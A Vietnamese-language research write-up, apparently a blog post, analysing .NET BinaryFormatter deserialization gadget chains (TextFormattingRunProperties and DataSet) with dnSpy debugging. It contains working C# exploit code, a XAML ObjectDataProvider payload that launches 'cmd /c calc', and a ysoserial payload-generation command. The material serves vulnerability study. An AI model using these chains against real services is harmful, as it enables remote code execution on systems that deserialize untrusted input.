Formatter - một vài chain của BinaryFormatter

Ở bài này ta sẽ cùng phân tích một vài chain của BinaryFormatter

TextFormattingRunProperties chain

Đây là một chain đơn giản và cũng là tiền đề của các chain khác trong BinaryFormatter, nên mình sẽ phân tích trước

Điều kiện để exploit chain này:

  • Dùng BinaryFormatter

  • Target có dùng Microsoft.PowerShell.Editor.dll (là một phần của Powershell, thường được cài đặt mặc định trong các bản windows server 2008/windows 7 trở lên)

Demo Exploit

Đầu tiên ta sẽ nhìn vào code gen payload của ysoserial để có cái nhìn tổng quát về chain

Ta thấy code này chủ yếu là chỉ tạo ra 1 object wrapper inplement lại ISerializable để cho phép custome quá trình seri, trong quá trình seri sẽ gọi đến info.SetType nhằm set object type khi object này được deser (tham khảo: https://stackoverflow.com/questions/42794732/customized-serialization#:~:text=4,table of sprites). Hiểu đơn giản là sau khi SetType, nếu object được deser thì sẽ đi đến SetObjectData (do ta implement lại ISerializable) để tạo object có type tương ứng với object type được set, nghĩa là từ 1 object wrapper ta có thể tạo instace của bất kỳ object nào thông qua SetType. Nguyên nhân của việc phải khai báo 1 cách gián tiếp như thế này là vì object ta muốn lợi dụng để exploit không thể khai báo trong code một cách bình thường do constructor của nó không được public, do đó ta phải thông qua SetType

Ta thấy chain này cực kỳ đơn giản chỉ set property ForegroundBrush cho object type TextFormattingRunProperties là một malicious xaml

Ta có đoạn code sau để demo lại chain và exploit trên local:

using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using Microsoft.VisualStudio.Text.Formatting;

namespace TextFormattingRunProperties
{
    [Serializable]
    public class ExploitObject : ISerializable
    {
        protected ExploitObject(SerializationInfo info, StreamingContext context)
        {
        }
    
        string _xaml;
        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            Type typeTFRP = typeof(Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties);
            info.SetType(typeTFRP);
            info.AddValue("ForegroundBrush", _xaml);
        }
        public ExploitObject(string xaml)
        {
            _xaml = xaml;
        }
    }
    
    class Program
    {
        static void Main(string[] args)
        {
            string xaml_payload = File.ReadAllText(@"xml.txt");
            ExploitObject payload = new ExploitObject(xaml_payload);

            using (MemoryStream memoryStream = new MemoryStream())
            {
                BinaryFormatter binaryFormatter = new BinaryFormatter();
                binaryFormatter.Serialize(memoryStream, payload);
                memoryStream.Position = 0;
                binaryFormatter.Deserialize(memoryStream);
            }
            Console.ReadKey();
        }
    }
}

Nội dung file xml.txt

<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
  <ObjectDataProvider.ObjectInstance>
    <sd:Process>
      <sd:Process.StartInfo>
        <sd:ProcessStartInfo Arguments="/c calc" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
      </sd:Process.StartInfo>
    </sd:Process>
  </ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>

Kết quả khi thực thi sẽ quăng ra lỗi nhưng vẫn pop up calc

Note: như đã đề cập ở bài trước thì malicious xaml có thể thay bằng ResourceDictionary và cho hiệu quả tương tự

Phân tích

Sink nằm ở TextFormattingRunProperties của Microsoft.PowerShell.Editor.dll nên mình sẽ decomplie dll này để xem source (nếu không tìm thấy dll ở local thì có thể decomplie dll đi kèm khi tải ysoserial nằm ở đường dẫn ysoserial.net\ysoserial\dlls\Microsoft.PowerShell.Editor.dll)

Decomplie bằng dnspy ta được kết quả như sau:

Nhấn vào Microsoft.VisualStudio.Text.Formatting để tìm TextFormattingRunProperties

Nhìn vào constructor của TextFormattingRunProperties ta để ý đoạn set ForegroundBrush sẽ gọi đến GetObjectFromSerializationInfo

Nội dung hàm GetObjectFromSerializationInfo

Ta thấy giá trị malicious xaml mà ta truyền vào sẽ được lấy ra và đưa vào XamlReader.Parse → RCE

Vậy thì tóm tắt chain này sẽ như sau:

binaryFormatter.Deserialize -> TextFormattingRunProperties() -> GetObjectFromSerializationInfo() -> XamlReader.Parse()

Mình thử debug để confirm lại

Để debug thì mình phải add file exe dùng để demo vào và run debug (lưu ý dùng dnspy bản 32-bit)

Break at set là Don’t Break

Code sẽ dừng ngay đây:

Nhấn F9 để đặt breakpoint tại đây và rundebug lại một lần nửa thì ta sẽ hit được breakpoint

Khi này chỉ cần Step Into là ta sẽ đi đến constructor của TextFormattingRunProperties

Tiếp tục nhảy vào GetObjectFromSerializationInfo

Giá trị của biến string là xaml payload, khi đi qua hàm Parse thì calc popup

DataSet chain

Chain tiếp theo sẽ là DataSet, thật ra chain này có phần đầu là DataSet còn phần cuối lại gọi đến TextFormattingRunProperties

Tóm tắt chain

DataSet() -> this.DeserializeDataSet() -> DeserializeDataSetSchema() -> BinaryFormatter.Deserialize -> TextFormattingRunProperties() -> GetObjectFromSerializationInfo() -> XamlReader.Parse()

Điều kiện để exploit:

  • Target có sử dụng Microsoft.PowerShell.Editor.dll package (tương tự chain trên vì DataSet thuộc package System.Data - mặc định)

Demo exploit

Vì lười nên mình dùng yso gen payload và viết code load payload để build file exe demo dùng cho mục đích debug

Gen payload:

ysoserial.exe -g DataSet -f BinaryFormatter -c calc -o raw > data.bin

Code load đơn giản:

using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;

namespace DataSet
{
    internal class Program
    {
        public static void Main(string[] args)
        {
            BinaryFormatter bf = new BinaryFormatter();
            Stream stream = new FileStream("data.bin", FileMode.Open, FileAccess.Read, FileShare.Read);
            bf.Deserialize(stream);
            stream.Close();
        }
    }
}

Khi chạy code thì sẽ quăng ra lỗi, kèm theo đó là calc pop up

Phân tích

Trước khi debug thì mình nhìn sơ qua cách yso gen payload

Ta thấy payload sẽ khai báo object type khi deser là DataSet kèm theo một vài property, payload trigger RCE là _fakeTable nằm trong property Tables_0

Khi kéo lên trên để nhìn code được gọi khi gen thì ta sẽ biết giá trị của _fakeTable là binary của chain TextFormattingRunProperties

Vậy là chain TextFormattingRunProperties được lồng vào trong chain DataSet

Tiếp theo mình sẽ attach file demo vào dnspy và tiến hành debug

Tương tự như chain trên, mình chạy lần đầu để dnspy tự nhảy đến điểm quăng lỗi, sau đó đặt breakpoint và chạy lại lần 2 để nhảy vào constructor của DataSet

Đoạn code trên tại constructor sẽ lặp qua từng giá trị ta set trong SerializationInfo

Nếu gặp phải DataSet.RemotingFormat thì nó sẽ set serialize format thành giá trị mà ta cung cấp (nếu không có thì mặc định seralize format là xml)

Vì payload ta khai báo format là Binary nên ta bỏ qua được 2 câu if và nhảy thẳng vào method DeserializeDataSet

Trong method này ta tiếp tục đi vào DeserializeDataSetSchema

Tại đây vì formatter là Binary nên ta sẽ nhảy vào câu if thứ 2

Tiếp đến code gọi đến DeserializeDataSetProperties, tại method này nếu ta muốn tiếp tục đi đến sink thì ta phải khai báo một số giá trị như DataSetName, Namespace,…

Đó cũng chính là lý do vì sao khi gen payload ta cần phải setup nhiều property đến vậy

Tiếp tục quay lại hàm DeserializeDataSetSchema, vì ta setup DataSet.Tables.Count = 1 nên code nhảy vào vòng for và giá trị của DataSet.Tables_0 được gán vào bytes array và đem đi deser

Chain đến đây có thể coi như đã xong vì khi deser bytes array đó sẽ gọi đến constructor của TextFormattingRunProperties và flow code y hệt như mình phân tích ở phần đầu

Tóm lại

Ta có thể thấy chain này chỉ đơn giản relay lại chain TextFormattingRunProperties, tuy điểm ban đầu là khác nhưng về bản chất thì sinks đều y như sau

Tóm tắt chain lại 1 lần nữa

DataSet() -> this.DeserializeDataSet() -> DeserializeDataSetSchema() -> BinaryFormatter.Deserialize -> TextFormattingRunProperties() -> GetObjectFromSerializationInfo() -> XamlReader.Parse()

TypeConfuseDelegate

Last updated